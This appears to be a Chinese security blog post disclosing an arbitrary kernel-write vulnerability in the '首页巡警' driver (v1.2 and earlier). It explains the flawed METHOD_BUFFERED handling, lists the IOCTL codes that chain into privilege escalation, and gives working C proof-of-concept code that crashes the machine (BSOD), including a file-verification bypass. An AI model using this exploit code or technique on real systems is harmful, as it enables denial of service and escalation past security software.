首页巡警v1.2及以下版本 本地权限提升漏洞(任意内核地址写入)

作者:MJ0011
来源:MJ0011的内核驱动研究所

首页巡警v1.2及以下所有版本的IRP_MJ_DEVICE_CONTROL处理例程存在 任意内核地址写入漏洞

该处理例程有两处地方都存在任意地址写入漏洞,其中一处可利用做本地权限提升,可在任意权限用户下执行,并写入任意数据到任意内核地址。

引发错误的原因是首页巡警的驱动开发者未能正确理解i/o传输方式导致的。首页巡警所有的数据传递都是通过MOTHOD_BUFFERED的io control code来执行的,根据MSDN中描述:

METHOD_BUFFERED For this transfer type, IRPs supply a pointer to a buffer at Irp->AssociatedIrp.SystemBuffer. This buffer represents both the input buffer and the output buffer that are specified in calls to DeviceIoControl and IoBuildDeviceIoControlRequest. The driver transfers data out of, and then into, this buffer.For input data, the buffer size is specified by Parameters.DeviceIoControl.InputBufferLength in the driver’s IO_STACK_LOCATION structure. For output data, the buffer size is specified by Parameters.DeviceIoControl.OutputBufferLength in the driver’s IO_STACK_LOCATION structure.

The size of the space that the system allocates for the single input/output buffer is the larger of the two length values.

该类io control code的处理例程应该从Irp->AssociatedIrp.SystemBuffer.中取出InputBuffer的内容,并将要输出的内容也写入Irp->AssociatedIrp.SystemBuffer. 实际上,这是buffered i/o的特性,即系统会分配一块内核内存,并将device io control 的Inputbuffer 中的数据COPY到这块内存中,然后等device io control完成时会将这块内存中的数据再COPY到device io control 的OutputBuffer ,这种传输方式本来较难导致安全漏洞。但由于首页巡警的驱动开发者错误地使用了pIrp->UserBuffer做为输出数据的传输,并且没有做 OutpuitBufferLength的有效检查,因此引发了安全漏洞

实际上即使在MOTHOD_BUFFERED模式的传输时,内核也会将实际的OutputBuffer放到pIrp->UserBuffer域中。但是内核中有对这块内存做校验,参考WRK的代码:

if (requestorMode != KernelMode) {

//
// The caller’s access mode is not kernel so probe each of the arguments
// and capture them as necessary. If any failures occur, the condition
// handler will be invoked to handle them. It will simply cleanup and
// return an access violation status code back to the system service
// dispatcher.
//

try {

//
// The IoStatusBlock parameter must be writeable by the caller.
//

ProbeForWriteIoStatus (IoStatusBlock);

//
// The output buffer can be used in any one of the following three ways,
// if it is specified:
//
// 0) It can be a normal, buffered output buffer.
//
// 1) It can be a DMA input buffer.
//
// 2) It can be a DMA output buffer.
//
// Which way the buffer is to be used it based on the low-order two bits
// of the IoControlCode.
//
// If the method is 0 we probe the output buffer for write access.
// If the method is not 3 we probe the input buffer for read access.
//

if (method == METHOD_BUFFERED) {
if (ARGUMENT_PRESENT( OutputBuffer )) {
ProbeForWrite( OutputBuffer,
OutputBufferLength,
sizeof( UCHAR ) );
} else {
OutputBufferLength = 0;
}
}

如果填入的OutputBuffer是内核地址,ProbeForWrite就会引发异常,会返回错误

但实际上,ProbeForWrite是可以绕过的,即给OutputBufferLength填0,就会不做检查了。

但如果驱动开发者在留心一下,在自己的程序里对OutputBufferLength参数做检查,禁止0长度的buffer,也可以避免此问题,可惜依然没有!

最终造成了这个任意地址写入漏洞,该漏洞一共有两处:

1.

io control code = 0x50000414 :

时 的处理代码:
loc_123F9:
call GetIeGuardState
mov ecx, [ebp+UserBuffer]
movzx eax, al
mov [ecx], eax
jmp loc_124EC

该处会将当前保护状态->al , 并写入UserBuffer,此处较难利用,因为只会是2 1 0 三个值,但可以传入一个无效地址,引发BSOD,造成拒绝服务攻击

2.io control code = 500004410时的处理代码 可以将InputBuffer中的内容写入首页巡警分配的一块pool中

io control code = 5000040c 时的处理代码 ,会将这块pool 中的内容copy到UserBuffer中

这样,我们就可以先将我们要写入的内容通过500004410写入POOL

再通过5000040c 写入任意我们想要写入的内核地址,可以是一段shellcode,也可以是修改一些系统的关键变量,等等.这样可以在任意用户下进行权限提升,并可以突破任意内核态防御,例如HIPS、Anti-Virus,Firewall等等

BSOD的利用代码(利用第一个漏洞,第2个本地提权的例子我就不发了,看一下首页巡警的代码,在看看第一个例子,很轻松就可以写出来)
CHAR filename[MAX_PATH]

GetModuleFileName(0 , filename , MAX_PATH);

CreateFile(filename ,
FILE_READ_DATA ,
FILE_SHARE_DELETE ,
0,
OPEN_EXISTING ,
0,
0);

//这里是把自己占住,用于绕过1.2版以后的文件校验 HANDLE hdev = CreateFile(“\\\\.\\IEGuard“,
FILE_READ_ATTRIBUTES ,
0,
0,
OPEN_EXISTING ,
0,
0);

ULONG retlen ;

DeviceIoControl(hdev ,
0x50000414,
0,0,
(PVOID)0x80000000,
0,
&retlen , 0)

//利用第一个漏洞的control code 50000414

//OutputBuffer传0x80000000,这是一个无效地址,被写入即会立即蓝屏

//OutputBufferLength传0,这样可以绕过NtDeviceIoControl->IopXxxControlFile中的ProbeForWrite检查!

运行此代码后,安装了1.2及以下版本的机器将立即蓝屏。

测试程序下载:

http://mj0011.ys168.com

漏洞演示目录下IeGuardLeakTest_12w.rar

相关日志

发表评论